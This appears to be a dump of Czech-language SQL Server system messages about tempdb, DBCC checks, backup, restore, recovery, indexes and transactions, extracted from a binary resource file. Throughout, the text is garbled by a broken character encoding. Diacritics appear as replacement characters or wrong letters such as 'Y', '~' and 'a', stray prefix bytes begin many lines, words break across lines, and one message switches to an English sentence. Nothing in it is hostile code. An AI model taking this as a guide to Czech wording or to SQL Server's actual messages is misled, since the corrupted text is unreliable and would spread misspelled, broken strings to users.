�Nelze vytvoYit datab�zi tempdb. Dovodem mo~e b�t nedostatek m�sta na disku. Uvolnte m�sto na disku vymaz�n�m nkter�ch dala�ch souboro na jednotce datab�ze tempdb a pot� restartujte syst�m SQL Server. Mo~n� dovody, pro
 nebylo mo~n� inicializovat soubory datab�ze tempdb, naleznete v dodate
n�ch chyb�ch v protokolu chyb opera
n�ho syst�mu.

�Nebylo mo~n� vytvoYit v�choz� soubor protokolu, proto~e n�zev je pY�lia dlouh�.

�Nelze vytvoYit v�choz� soubory, proto~e zadan� n�zev je pY�lia dlouh�.

Offline soubor nebo soubory datab�ze byly bhem procesu n�vratu do re~imu online pYeps�ny ze sn�mku datab�ze. Soubor navr�cen� do povodn�ho stavu mo~e obsahovat neplatn� str�nky. Chcete-li zhodnotit integritu dat, spusete kontrolu konzistence datab�ze.

�Prob�h� navr�cen� datab�ze %1!s! do stavu odpov�daj�c�mu stavu, v nm~ doalo k vytvoYen� sn�mku datab�ze %2!s! s bodem rozdlen� LSN %3!s! (0x%4!s!). Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Upozornn�: Maxim�ln� d�lka kl�
e pro index %1!s! je %2!s! bajto. Maxim�ln� d�lka indexu %3!s! je %4!s! bajto. V pY�pad nkter�ch kombinac� velk�ch hodnot dojde pYi spuatn� operace INSERT nebo UPDATE k chyb.

�Upozornn�: Online operace indexu pro tabulku %1!s! bude pokra
ovat, ale soub~n� pY�stup k tabulce bude mo~n� omezen z dovodu rezidu�ln�ho z�mku tabulky z pYedchoz� operace ve stejn� transakci.

dUpozornn�: Maxim�ln� d�lka Y�dku pYekra
uje povolen� limit %1!s! bajto. V pY�pad nkter�ch kombinac� velk�ch hodnot dojde pYi spuatn� operace INSERT nebo UPDATE k chyb.

�ProstYednictv�m mo~nosti DROP_EXISTING nelze nahradit nehypotetick� index %1!s! hypotetick�m indexem.

�Upozornn�: Ciz� kl�
 %1!s! v tabulce %2!s! odkazuj�c� na tabulku %3!s! byl zak�z�n z dovodu zak�z�n� indexu %4!s!.

Upozornn�: Clusterovan� index %1!s! v zobrazen� %2!s! odkazuj�c� na tabulku %3!s! byl zak�z�n v dosledku zak�z�n� indexu %4!s!.

Modul %1!s! je z�visl� na chybj�c�m objektu %2!s!. Modul bude vytvoYen, nebude jej vaak mo~n� spustit, dokud nebude objekt existovat.

Upozornn�: Vlastnost is_ms_shipped je pro %1!s! %2!s! vypnut�, proto~e nem�te opr�vnn� vytv�Yet nebo mnit objekty s touto vlastnost�.

�Metadata pro objekt sv�zan� se sch�matem %1!s! se neaktualizovala.

�Doalo k chyb [%1!s!, %2!s!, %3!s!] pYi pokusu o navr�cen� rozsahu pracovn�ho souboru s ID rozsahu [%4!s!:%5!s!].

`Fyzick� soubor %1!s! byl �span odstrann.

<ID objektu %1!s! (objekt %2!s!): Po
�tan� sloupce a typy CLR nelze pro tento objekt kontrolovat, proto~e modul CLR (common language runtime) je zak�z�n.

@Po
�tan� sloupce a typy CLR nelze pro ID objektu %1!s! (objekt %2!s!) kontrolovat, proto~e nebylo mo~n� inicializovat vyhodnocovac� filtr intern�ch v�razo.

�PY�kaz DBCC byl dokon
en. Pokud pY�kaz DBCC vytiskl chybov� zpr�vy, obraete se na spr�vce syst�mu.

LV�sledky pY�kazu DBCC pro %1!s!.

�Soubor %1!s!. Po
et rozsaho = %2!s!, po
et pou~it�ch str�nek = %3!s!, po
et rezervovan�ch str�nek = %4!s!.

�V t�to datab�zi se nach�z� po
et rozsaho = %1!s!, po
et pou~it�ch str�nek = %2!s!, po
et vyhrazen�ch str�nek = %3!s!.

XSyst�m tuto chybu nedok�~e s�m opravit.

�DBCC UPDATEUSAGE: Po
et pou~it� byl pro tabulku %1!s! aktualizov�n (index %2!s!, odd�l %3!s!):

tStr�nky DATA %1!s!: zmna z (%2!s!) na (%3!s!) stran.

tStr�nky USED %1!s!: zmna z (%2!s!) na (%3!s!) stran.

tStr�nky RSVD %1!s!: zmna z (%2!s!) na (%3!s!) stran.

dPo
et ROWS: zmna z (%1!s!) na (%2!s!) stran.

�Index %1!s! v tabulce %2!s! je ozna
en jako zak�zan�. Chcete-li index uv�st do re~imu online, znovu jej vytvoYte.

�DBCC: F�ze komprimace indexu %1!s! je dokon
en� z %2!s! %%.

�DBCC: Defragmenta
n� f�ze indexu %1!s! je dokon
ena z %2!s! %%.

� Tabulka %1!s! nebude bhem reorganizace indexu %2!s! k dispozici. Dovodem je to, ~e operace reorganizace indexu prob�h� v r�mci u~ivatelsk� transakce a cel� tabulka je uzam
ena pro v�hradn� pou~it�.

�PY�kaz DBCC nemo~e uvolnit knihovnu DLL %1!s!. Knihovna DLL nebyla na
tena.

�U~ivatel %1!s! upravuje bajty %2!s! a~ %3!s! na str�nce %4!s! v datab�zi %5!s!.

�Oprava: Index %1!s! pro objekt %2!s! v datab�zi %3!s! byl �span sestaven.

tObjekt %3!s! obsahuje %1!s! Y�dko na %2!s! str�nk�ch.

`Nelze zpracovat ID sady Y�dko %1!s! objektu %2!s! (ID %3!s!), indexu %4!s! (ID %5!s!), proto~e se nach�z� ve skupin souboro %6!s! (ID %7!s!), kter� nebyla zkontrolov�na.

<PY�znak trasov�n� %1!s! je ignorov�n. Jedn� se bu o neplatn� pY�znak trasov�n�, nebo o pY�znak trasov�n�, kter� lze zadat pouze bhem spuatn� serveru.

�N�zev datab�ze %1!s! je ignorov�n; syst�m odkazuje na objekt v datab�zi tempdb.

tParametr nebo promnn� %1!s! m� neplatn� datov� typ.

�ID procesu %1!s! vyvolalo chybu u~ivatele %2!s!, z�va~nost %3!s!. Syst�m SQL Server tento proces ukon
uje.

\Operace DBCC FREEPROCCACHE nebo DBCC FREESYSTEMCACHE v syst�mu SQL Server vyvolaly nkolik (%1!s!) v�skyto vypr�zdnn� �lo~iat mezipamti %2!s! (
�st mezipamti pl�nu).

pZ dovodu nkter�ch operac� �dr~by nebo rekonfigurace datab�ze doalo v syst�mu SQL Server k nkolika (%1!s!) v�skytom vypr�zdnn� �lo~iat mezipamti %2!s! (
�st mezipamti pl�nu).

�Byl zjiatn mo~n� v�skyt nekone
n� opakovan� kompilace u objektu SQLHANDLE %1!s!, PlanHandle %2!s!, po
�tek posunu: %3!s!, konec posunu: %4!s!. Dovod posledn� opakovan� kompilace: %5!s!.

�Byla rozpozn�na mo~n� nekone
n opakovan� kompilace pro nativn kompilovan� modul s ID %1!s! v datab�zi s ID %2!s!.

dPY�kaz BACKUP WITH DIFFERENTIAL bude vyu~�vat z�lohov�n� prostYednictv�m v�ce souboro. PYed pokusem o obnoven� rozd�lov� z�lohy je nutn� obnovit vaechny tyto z�lohy souboro.

PRozd�lov� 
�ste
n� z�loha obsahuje skupinu souboro %1!s! s nastaven�m atributem jen pro 
ten�. PYi vytv�Yen� b�zov� 
�ste
n� z�lohy byla tato skupina souboro nastavena pro 
ten� i z�pis, pozdji vaak bylo nastaven� zmnno na pY�stupu jen pro 
ten�. Doporu
ujeme nyn� vytvoYit samostatnou z�lohu souboru %2!s! a pot� vytvoYit novou 
�ste
nou z�lohu, 
�m~ bude zajiatna nov� b�ze pro pozdja� rozd�lov� 
�ste
n� z�lohy.

�Proces %1!s! �span zpracoval %2!s! str�nek za %3!s!.%4!s! s (%5!s!.%6!s! MB/s).

XFunkce %1!s! nen� dosud implementov�na.

$Soubor kontroln�ch bodo restartov�n� %1!s! nebyl nalezen. PY�kaz RESTORE bude pokra
ovat od za
�tku, jako kdyby nebyl zad�n parametr RESTART.

Tato z�loha je z�lohou souboru dat pro 
ten� a z�pis z datab�ze vyu~�vaj�c� jednoduch� model obnoven�. Tento postup je vhodn� v pY�pad, ~e pl�nujete nastavit skupinu souboro jen pro 
ten� a pot� prov�st rozd�lovou z�lohu souboru. Dala� informace o spr�v dat jen pro 
ten� v pY�pad modelu jednoduch� obnovy najdete na webu Knihy Online. Zejm�na zva~te, jak jsou pou~�v�ny 
�ste
n� obnovy.

@Soubor kontroln�ch bodo restartov�n� %1!s! byl poakozen a je ignorov�n. PY�kaz RESTORE bude pokra
ovat od za
�tku, jako kdyby nebyl zad�n parametr RESTART.

Bhem komunikace s replikac� z�lohy doalo k chyb. Z�lohov�n� bude pokra
ovat, prostYed� replikace by vaak mlo b�t zkontrolov�no.

dPY�kaz BACKUP WITH CONTINUE_AFTER_ERROR �span generoval z�lohu poakozen� datab�ze. Dala� informace o chyb�ch, ke kter�m doalo, najdete v protokolu chyb syst�mu SQL Server.

�N�zev souboru nebo zaY�zen� pYekra
uje podporovan� limit (maxim�ln� d�lka je %1!s!) a bude zkr�cen: %2!s!.

Soubor kontroln�ch bodo restartov�n� %1!s! byl poakozen. Obnovenou datab�zi nelze obnovit. Restartujte posloupnost RESTORE.

LSn�mek souboru %1!s! se nenaael.

@Je vybr�na skupina souboro %1!s!. V okam~iku z�lohy byla ulo~ena pod n�zvem %2!s!. PY�kaz RESTORE bude pokra
ovat na z�klad pYejmenovan� skupiny souboro.

Je vybr�n soubor %1!s!. V okam~iku z�lohy se jednalo o n�zev %2!s!. PY�kaz RESTORE bude pokra
ovat na z�klad pYejmenovan�ho souboru.

�Bylo obnoveno nastaven� atributu rozd�lov� b�ze souboru %1!s! datab�ze %2!s!z dovodu obnoven� souboru ze z�lohy s pou~it�m konfliktn� cesty obnoven�. Obnova byla povolena, proto~e soubor byl nastaven jen pro 
ten� a byl konzistentn� s aktu�ln�m stavem datab�ze. Vaechny budouc� rozd�lov� z�lohy tohoto souboru budou vy~adovat novou rozd�lovou b�zi.

�Hlavn� datab�ze byla �span obnovena. Prob�h� vyp�n�n� serveru SQL Server.

�Byl zad�n pY�kaz RESTORE FILEGROUP="%1!s!", ale v sad z�loh nejsou pY�tomny vaechny jeho soubory. Soubor %2!s! chyb�. PY�kaz RESTORE bude pokra
ovat. Pokud vaak chcete obnovit vaechny soubory, mus�te obnovit ostatn� sady z�loh.

PYi pokusu o obnoven� t�to z�lohy mo~e doj�t k probl�mom s prostorem �lo~iat. Podrobnja� informace najdete v dala� zpr�v.

Operace RESTORE WITH CONTINUE_AFTER_ERROR probhla �span, doalo vaak k ur
it�mu poakozen�. Datab�ze mo~e obsahovat nekonzistence.

�Sada z�loh byla pY�kazem BACKUP WITH CONTINUE_AFTER_ERROR zaps�na s poakozen�mi daty.

�Obnoven� bylo �span�, zost�vaj� vaak odlo~en� transakce. Tyto transakce nelze vyYeait z dovodu nedostupn�ch dat. Chcete-li data zpY�stupnit, mo~ete pou~�t pY�kaz RESTORE. Pokud tato data nebudete potYebovat, mo~ete tyto skupiny souboro vyYadit. VyYazen� v�sledko skupiny souboro zposob� nefunk
nost skupiny souboro.

Vstup/V�stup v datab�zi %1!s! nereaguje. Nen� tYeba ~�dn� akce u~ivatele. Pokud nen� V/V rychle obnoven, mo~ete tuto z�lohu zruait.

�V/V byl v datab�zi %1!s! obnoven. Nen� tYeba ~�dn� akce u~ivatele.

HBylo zpracov�no %1!s! procent.

�Rodina m�di� zaY�zen� %1!s! byla dokon
ena. ZaY�zen� je nyn� opakovan pou~�v�no pro jednu ze zb�vaj�c�ch rodin.

PSada z�loh souboru %1!s! je platn�.

\Bylo uvolnno a zah�jeno pYev�jen� %1!s!.

\Zna
ka souboru v zaY�zen� %1!s! zYejm nen� zarovnan�. Operace obnoven� bude pokra
ovat s pou~it�m m�n efektivn�ch vstupn-v�stupn�ch operac�.  Abyste se tomu vyhnuli, opakujte pY�kaz Restore se stejnou velikost� bloku, kter� byla pou~ita k vytvoYen� sady z�loh: %2!s! vypad� jako mo~n� hodnota.

,Vzd�len� pos�len� zabezpe
en� transakce %1!s! (ID 0x%2!s! %3!s!) spuatn� v %4!s! v datab�zi %5!s! s poYadov�m 
�slem polo~ky %6!s! se nezdaYilo.

 Bhem obnoven� pYi vr�cen� transakce doalo k chyb�m. Transakce byla odlo~ena. Obnovte chybnou str�nku nebo soubor a znovu spusete obnoven�.

�Datab�ze %1!s! je ozna
ena jako %2!s! a je ve stavu, kter� neumo~Huje spuatn� obnovy.

,Syst�m obnov� pouze hlavn� datab�zi, proto~e byl zad�n pY�znak trasov�n� 3608. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Bhem spuatn� doalo k chyb pYi kontrole nov� instalace nebo pYejmenovan�ho serveru. The logic for this check has failed unexpectedly. Spusete znovu instalaci nebo opravte probl�mov� kl�
 registru.

(Celkem %1!s! transakc� bylo v datab�zi %2!s! (%3!s!:%4!s!) posunuto dopYedu. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

 Celkem %1!s! transakc� bylo v datab�zi %2!s! (%3!s!:%4!s!) vr�ceno zpt. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Obnova je dokon
ena. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

0Data ve skupin souboro %1!s! jsou offline a existuj� odlo~en� transakce. Chcete-li obnovit skupinu souboro, pou~ijte funkci RESTORE. Pokud skupinu souboro nechcete v budoucnu obnovit, mo~ete ji odpojit. Zkr�cen� protokolu nelze prov�st, dokud nebude tato podm�nka vyYeaena.

�Upozornn�: Instance serveru byla spuatna s pou~it�m mo~nosti spuatn� minim�ln� konfigurace (-f). Spuatn� instance syst�mu SQL Server s minim�ln� konfigurac� automaticky nastav� server do jednou~ivatelsk�ho re~imu. Pot�, co byl server spuatn s minim�ln� konfigurac�, byste mli zmnit odpov�daj�c� hodnotu nebo hodnoty mo~nost� serveru, ukon
it pr�ci a server restartovat.

Bhem obnoven� doalo k chyb, kter� znemo~Huje restart datab�ze %1!s! (%2!s!:%3!s!). Diagnostikujte chyby obnoven� a opravte je, pY�padn je obnovte ze zn�m� funk
n� z�lohy. Pokud nejsou chyby opraveny nebo o
ek�v�ny, obraete se na technickou podporu.

4Operace zotaven� nemo~e chybu %1!s! odlo~it. Chyby lze odlo~it pouze v datab�z�ch vyu~�vaj�c�ch model pln� obnovy a aktivn� Yetzec protokolu z�lohy.

Bylo dokon
eno obnoven� pro datab�zi %1!s! (ID datab�ze %2!s!) za dobu %3!s! s (anal�za %4!s! ms, opakov�n� %5!s! ms, vr�cen� %6!s! ms [syst�mov� vr�cen� %7!s! ms, norm�ln� vr�cen� %8!s! ms].) Tato zpr�va je jenom informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

hDatab�ze %1!s! byla z dovodu chyby %2!s! v rutin %3!s! vypnuta. Po pYeruaen� vaech pYipojen� k datab�zi se syst�m pokus� o restartov�n� datab�z�, pro kter� neexistuj� sn�mky.

�Informace: Instance serveru byla spuatna s pou~it�m mo~nosti spuatn� v�ce multiuser, minim�ln� konfigurace (-M).

�Operace obnoven� nemohla ur
it v�stup mezidatab�zov� transakce %1!s! s n�zvem %2!s! v datab�zi %3!s! (ID datab�ze %4!s!:%5!s!). Koordina
n� datab�ze (ID datab�ze %6!s!:%7!s!) nen� k dispozici. Transakce byla pova~ov�na za zapsanou. Pokud transakce nebyla zaps�na, mo~ete zopakovat pokus o obnoven� v okam~iku, kdy bude koordina
n� datab�ze k dispozici.

xObnoven� datab�ze %1!s! (%2!s!) je dokon
eno z %3!s! %% (zb�v� zhruba %4!s! s k dokon
en� operace). F�ze %5!s! ze 3. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

,PYi obnoven� datab�ze %1!s! (%2!s!) byla v ID tabulky %3!s! zjiatna mo~n� nekonzistence hodnot identity. Spusete pY�kaz DBCC CHECKIDENT (%4!s!).

Obnoven� zapisuje v datab�zi %1!s! (%2!s!) kontroln� bod. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

0Operace Redo pozorovala vyaa� hodnotu na str�nce PFS %1!s! pro ID transakce %2!s!, datab�zi %3!s! (ID datab�ze%4!s!). Redo LSN: %5!s!, Str�nka: LSN = %6!s!, PrevPageLSN: %7!s!. K tomu mo~e doj�t, kdy~ prob�haj� soub~n� aktualizace PFS. Nen� po~adov�na ~�dn� akce u~ivatele.

HDuplicitn� kl�
 byl ignorov�n.

LDoalo k aritmetick�mu pYete
en�.

4Doalo k dlen� nulou.

%1!s!   doba prov�dn� v syst�mu SQL Server:%2!s!   doba vyu~it� procesoru nebyla v re~imu vl�k�nek mYena, uplynul� doba = %3!s! ms.

�%1!s!   doba prov�dn� v syst�mu SQL Server:%2!s!   doba vyu~it� procesoru = %3!s! ms, uplynul� doba = %4!s! ms.

Doba potYebn� k anal�ze a kompilaci v syst�mu SQL Server: %1!s!   doba vyu~it� procesoru = %2!s! ms, uplynul� doba = %3!s! ms.

�Tabulka %1!s!. Po
et prohled�v�n� %2!s!, logick� 
ten� %3!s!, fyzick� 
ten� %4!s!, 
ten� serveru str�nek %5!s!, 
ten� napYed %6!s!, 
ten� napYed serveru str�nek %7!s!, logick� 
ten� LOB %8!s!, fyzick� 
ten� LOB %9!s!, 
ten� serveru str�nek LOB %10!s!, 
ten� napYed LOB %11!s!, 
ten� napYed serveru str�nek LOB %12!s!.

�V datab�zi %1!s! nebylo mo~n� zapsat kontroln� bod, proto~e protokol nem� dostatek m�sta. Chcete-li zkr�tit protokol nebo pYidlit souborom protokolu datab�ze v�ce m�sta, obraete se na spr�vce datab�ze.

Automatick� vytv�Yen� kontroln�ch bodo je v datab�zi %1!s! zak�z�no, proto~e protokol nem� dostatek m�sta. A~ vlastn�k datab�ze �span vytvoY� kontroln� body datab�ze, bude automatick� vytv�Yen� kontroln�ch bodo povoleno. Mo~ete se bu obr�tit na vlastn�ka datab�ze, aby zkr�til soubor protokolu, nebo mo~ete protokolu pYidat dala� m�sto na disku. Pot� znovu spusete pY�kaz CHECKPOINT.

0PY�kaz byl ukon
en.

�Upozornn�: Doalo k neplatn� operaci s plovouc� desetinnou 
�rkou.

�Celkov� po
et logick�ch 
ten� %1!s!, fyzick�ch 
ten� %2!s!, vzd�len�ch 
ten� %3!s!, z�piso %4!s!.

�Tabulka %1!s!. Po
et pYe
ten�ch segmento: %2!s!, po
et pYesko
en�ch segmento %3!s!.

��loha Prefaulter se u souboru %1!s! nepovedla kvoli chyb %2!s!.

tNelze vyYadit omezen�. Zkontrolujte pYedchoz� chyby.

\Syst�m odstraHuje soubor datab�ze %1!s!.

�Upozornn�: Index %1!s! objektu %2!s! %3!s! byl zak�z�n v dosledku zak�z�n� clusterovan�ho indexu %4!s!.

�Upozornn�: Index %1!s! objektu %2!s!.%3!s! mo~e b�t ovlivnn aktualizac� kolace. Spusete pY�kaz DBCC CHECKTABLE.

Upozornn�: Omezen� %1!s! objektu %2!s!.%3!s! mo~e b�t ovlivnno aktualizac� kolace. Zaka~te a povolte klauzuli WITH CHECK.

�Upozornn�: Index %1!s! objektu %2!s!.%3!s! je zak�z�n, proto~e implementace funkce kontroln�ho sou
tu se zmnila.

Upozornn�: Kontrola omezen� %1!s! pro tabulku %2!s!.%3!s! je zak�z�na, proto~e implementace funkce kontroln�ho sou
tu se zmnila.

�Upozornn�: Index %1!s! tabulky %2!s!.%3!s! je pravdpodobn poakozen�, proto~e odkazuje na po
�tan� sloupec %4!s!, kter� obsahuje nedeterministickou konverzi z Yetzce na datum. Chcete-li ovYit index, spusete pY�kaz DBCC CHECKTABLE. Zva~te pou~it� explicitn�ho pY�kazu CONVERT s deterministick�m stylem data, jako napY�klad 121. Indexy po
�tan�ho sloupce odkazuj�c� na nedeterministick� v�razy nelze vytv�Yet v re~imu kompatibility nastaven�m na hodnotu 90. Dala� informace najdete na webu Knihy online v t�matu Creating Indexes on Computed Columns (Vytv�Yen� indexo v po
�tan�ch sloupc�ch).

Upozornn�: Indexovan� zobrazen� %1!s!.%2!s! mo~e b�t poakozen�, proto~e obsahuje nedeterministickou konverzi z Yetzce na datum. Chcete-li ovYit zobrazen�, spusete pY�kaz DBCC CHECKTABLE. Zva~te pou~it� explicitn�ho pY�kazu CONVERT s deterministick�m stylem data, jako napY�klad 121. Zobrazen� indexu odkazuj�c� na nedeterministick� v�razy nelze vytv�Yet v re~imu kompatibility nastaven�m na hodnotu 90. Dala� informace naleznete na webu Knihy online v t�matu Creating Indexed Views (Vytv�Yen� indexovan�ch zobrazen�).

�Upozornn�: Index %1!s! objektu %2!s!.%3!s! je zak�zan� proto~e index je definovan� na zobrazen� s mo~nost� ignore_dup_key index. VyYate index a pokud je to mo~n�, znovu jej vytvoYte bez mo~nosti ignore_dup_key. Mo~n� bude nutn� zmnit logickou strukturu zobrazen� a zajistit tak, aby byly vaechny Y�dky jedine
n�.

pOzn�men� o ud�losti %1!s! v sestaven� je vyYazeno.

�Ozn�men� o ud�losti %1!s! ve front slu~by je vyYazeno, proto~e nen� zadan� instance zprostYedkovatele.

lOzn�men� o ud�losti %1!s! v objektu je vyYazeno.

�Upozornn�: Index %1!s! objektu %2!s!.%3!s! je zak�z�n, proto~e implementace %4!s! se zmnila.

 Upozornn�: Kontrola omezen� %1!s! objektu %2!s!.%3!s! byla zak�z�na a nastavena jako nedovryhodn�, proto~e implementace %4!s! se zmnila.

�Upozornn�: Omezen� ciz�ho kl�
e %1!s! objektu %2!s!.%3!s! je zak�z�no, proto~e implementace %4!s! se zmnila.

,Upozornn�: Halda %1!s!.%2!s! obsahuje trval� po
�tan� sloupce, kter� jsou z�visl� na metod�ch geometrie nebo geografie a mohou obsahovat zastaral� informace. Proto mo~e pY�kaz DBCC v t�to tabulce ohl�sit nekonzistence. Trval� po
�tan� sloupce, kter� z�vis� na metod�ch geometrie nebo geografie, by mly b�t pYevedeny do netrval�ho stavu a pot� optovn ozna
eny jako trval�, 
�m~ se aktualizuj� data.

�Upozornn�: Objekt %1!s!.%2!s! nebylo mo~n� sv�zat a byl bhem upgradu ignorov�n. Zva~te kontrolu a opravu jeho definice.

�Upozornn�: Tabulka %1!s!.%2!s! nen� k dispozici, proto~e obsahuje trval� po
�tan� sloupce, kter� z�vis� na metod %3!s!, jej�~ implementace byla zmnna. Tabulku sestavte v re~imu offline a provete rekonstrukci trval�ch po
�tan�ch sloupco.

�Kontrola integrity mezipamti metadat datab�ze s ID (%1!s!) nenalezla ~�dn� nekonzistence.

�V syst�mov� tabulce sys.%2!s!%3!s!. byl nalezen neplatn� Y�dek (%1!s!).

�K Y�dku (%1!s!) v tabulce sys.%2!s!%3!s! neexistuje odpov�daj�c� Y�dek (%4!s!) v tabulce sys.%5!s!%6!s!.

�K atributu (%1!s!) Y�dku (%2!s!) v tabulce sys.%3!s!%4!s! neexistuje odpov�daj�c� Y�dek (%5!s!) v tabulce sys.%6!s!%7!s!.

 K atributu (%1!s!) Y�dku (%2!s!) v tabulce sys.%3!s!%4!s! existuje odpov�daj�c� Y�dek (%5!s!) v tabulce sys.%6!s!%7!s!, kter� je neplatn�.

�Atribut (%1!s!) existuje bez Y�dku (%2!s!) v tabulce sys.%3!s!%4!s!.

�Atribut (%1!s!) existuje, ale pro Y�dek (%2!s!) v tabulce sys.%3!s!%4!s! by existovat neml.

�Je po~adov�n atribut (%1!s!), kter� pro Y�dek (%2!s!) v tabulce sys.%3!s!%4!s! chyb�.

�Atribut (%1!s!) Y�dku (%2!s!) v tabulce sys.%3!s!%4!s! m� neplatnou hodnotu.

�Upozornn�: Syst�mov� katalog byl v ID datab�ze %1!s! pY�mo aktualizov�n; posledn� pY�m� aktualizace probhla v: %2!s!.

�Nelze prov�st upgrade ID datab�ze 32767. Tato hodnota ID je rezervovan� pro intern� pou~it� syst�mu SQL Server.

$Typ CLR %1!s!.%2!s! je zak�z�n, proto~e form�t disku pro typ CLR byl zmnn. Chcete-li odebrat tento zak�zan� typ, pou~ijte pY�kaz DROP TYPE.

�Operace u objektu FileTable %1!s! definovan�ho syst�mem byla povolena kvoli nastaven�m pY�znaku trasov�n�. Chcete-li zabr�nit zobrazov�n� t�to informativn� zpr�vy v protokolu chyb, pou~ijte pY�kaz DBCC TRACEOFF, kter�m vypnete pY�znak trasov�n�.

�Objekt FileTable %1!s! obsahuje omezen� definovan� syst�mem, kter� nelze upravit, pokud je v tabulce povolena mo~nost FILETABLE_NAMESPACE. Aktualizov�na byla pouze omezen� definovan� u~ivateli.

�Nepovedlo se spustit pameov optimalizovan� re~im metadat datab�ze tempdb. Pokra
uje se spuatn�m datab�ze tempdb v re~imu SQL. Spusete pY�kaz ALTER SERVER CONFIGURATION TEMPDB METADATA MEMORY_OPTIMIZED ON znovu a restartujte.

�Po~adovan� pameov optimalizovan� konfigurace u~ je nastaven�. Nen� potYeba dlat nic dala�ho.

$Pameov optimalizovan� konfigurace metadat datab�ze tempdb byla nastavena na %1!s!. Restartujte SQL server, aby se nov� nastaven� projevilo.

�Datab�ze tempdb byla spuatna s pameov optimalizovan�mi metadaty.

<Pameov optimalizovan� konfigurace hybridn�ho fondu vyrovn�vac� pamti byla nastavena na %1!s!. Restartujte SQL server, aby se nov� nastaven� projevilo.

�Hybridn� fond vyrovn�vac�ch pamt� byl spuatn s pameov optimalizovan�mi metadaty.

�Mo~nost WITH MARK se pou~ije pouze na prvn� pY�kaz BEGIN TRAN WITH MARK. Tato mo~nost je ignorov�na.

$V datab�zi %1!s! s hromadn protokolovan�mi operacemi, kter� nebyly z�lohov�ny, nelze pou~�t ozna
en� transakce. Toto ozna
en� je ignorov�no.

<Bhem pokusu o nav�z�n� na novou transakci byla relace zaYazena do aktivn� u~ivatelsk� transakce. Relace byla z pYedchoz� u~ivatelsk� transakce vyYazena.

�Transakce, kter� je aktivn� v t�to relaci, byla zaps�na nebo pYeruaena jinou relac�.

�PYi pokusu o zaYazen� do transakce koordin�tora distribuovan�ch transakc� (DTC) mla relace aktivn� transakce.

Transakce byla pYeruaena, proto~e sekund�rn� v�po
etn� prostYedek nedok�zal dohnat opakov�n�. Zkuste transakci prov�st znovu.

��lo~iat verz� je pln�. Nebylo mo~n� pYidat nov� verze. Transakce, kter� potYebuje pY�stup k �lo~iati verz�, mo~e b�t vr�cena zpt. Dala� informace, jak nakonfigurovat datab�zi tempdb pro spr�vu verz�, naleznete v knih�ch online.

4V datab�zi %1!s! nen� dostupn� izolace sn�mku ani poY�zen� sn�mku na �rovni READ COMMITTED, proto~e syst�m SQL Server byl spuatn s jedn�m nebo v�ce nedokumentovan�mi pY�znaky trasov�n�, kter� neumo~nily datab�zi povolit spr�vu verz�. Dojde k chyb transakce spuatn� s izolac� sn�mku a dotaz spuatn� na �rovni READ COMMITTED bude proveden �span, ale vr�t� se zpt na �roveH LOCK BASED READ COMMITTED.

�Izolace sn�mku (SNAPSHOT ISOLATION) je v t�to datab�zi v~dy povolena.

�Zat�mco syst�m 
ek� na vyY�zen� po~adavko, poale klient data sp_reset_connection. Dojde k odpojen� serveru.

�Datov�mu m�diu v zaY�zen� %1!s! vypra� platnost dne %2!s! a nelze jej pYepsat.

�Bylo zpracov�no %1!s! str�nek datab�ze %2!s!, souboru %3!s! pro soubor %4!s!.

�Doalo k selh�n� funkce zptn�ho vol�n� XP %1!s! v roza�Yen� proceduYe %2!s!, proto~e funkce byla spuatna v r�mci pY�kazu INSERT-EXEC, kter� neumo~Huje, aby roza�Yen� procedura zas�lala jin� informace ne~ sadu v�sledko dotazu.

@Doalo k chyb funkce zptn�ho vol�n� XP %1!s! v roza�Yen� proceduYe %2!s!, proto~e roza�Yen� procedura je vol�na v r�mci UDF, co~ neumo~Huje zas�l�n� dat.

PProtokol nebyl zkr�cen, proto~e z�znamy na za
�tku protokolu 
ekaj� na vyY�zen� operace replikace nebo �lohy Change Data Capture. Ujistte se, ~e je spuatn agent 
te
ky protokolo nebo �loha zachycen�, pY�padn pou~ijte sp_repldone k ozna
en� transakc� jako distribuovan�ch nebo zachycen�ch.

lPY�kaz BACKUP LOG nemo~e modifikovat datab�zi, proto~e datab�ze je nastavena jen pro 
ten�. Z�lohov�n� bude pokra
ovat, ale n�sledn� z�lohy budou operace t�to z�lohy duplikovat.

�Xetz z�loh protokolu je poruaen�. PYed proveden�m z�lohy protokolu je tYeba prov�st �plnou z�lohu datab�ze.

PObnoven� online je dokon
eno; byla vaak zad�na klauzule WITH NORECOVERY. Chcete-li ovlivnn� data pYev�st do re~imu online, pou~ijte pY�kaz RESTORE WITH RECOVERY.

�Ne~ bude mo~n� sekvenci obnovy online dokon
it, budou nkter� soubory jeat vy~adovat dala� kroky obnoven�.

�Tato sada z�loh obsahuje z�znamy, kter� byly zaps�ny do protokolu jeat pYed ur
en�m 
asov�m okam~ikem. Datab�ze je ponech�na ve stavu obnoven� a je tedy mo~n� prov�st dala� posunut� vpYed.

hTento soubor protokolu obsahuje z�znamy zapsan� do protokolu jeat pYed ur
enou zna
kou. Datab�ze je ponech�na ve stavu obnoven� a je tedy mo~n� pou~�t dala� soubor protokolu.

�PY�kaz RESTORE �span provedl nkter� akce, avaak datab�zi nebylo mo~n� pYev�st do re~imu online, proto~e je tYeba prov�st jeden nebo v�ce kroko obnoven� (RESTORE). PYedchoz� zpr�va uv�d� dovody, pro
 nelze obnoven� v tomto okam~iku prov�st.

�PYi nahr�v�n� informac� v tabulce msdb.suspect_pages doalo k pot�~�m. Tato chyba neovlivHuje ~�dnou aktivitu s v�jimkou �dr~by tabulky suspect_pages. Dala� informace naleznete v protokolu chyb.

|Soubor %1!s! obnoven� datab�ze %2!s! je ponech�n v nefunk
n�m stavu, proto~e datab�ze prov�d� upgrade z pYedchoz� verze. V pY�pad proveden� upgradu nen� podporov�no postupn� obnoven�.

�Obnoven� datab�ze %1!s! je dokon
eno. Datab�ze je nyn� k dispozici.

�Upozornn�: Pomocn� parametry indexu zadan� pro zobrazen� %1!s! budou ignorov�ny.

DHromadn� na
ten�: Typ DataFileType byl nespr�vn zad�n jako char. Typ DataFileType bude pova~ov�n za widechar, proto~e datov� soubor obsahuje podpis Unicode.

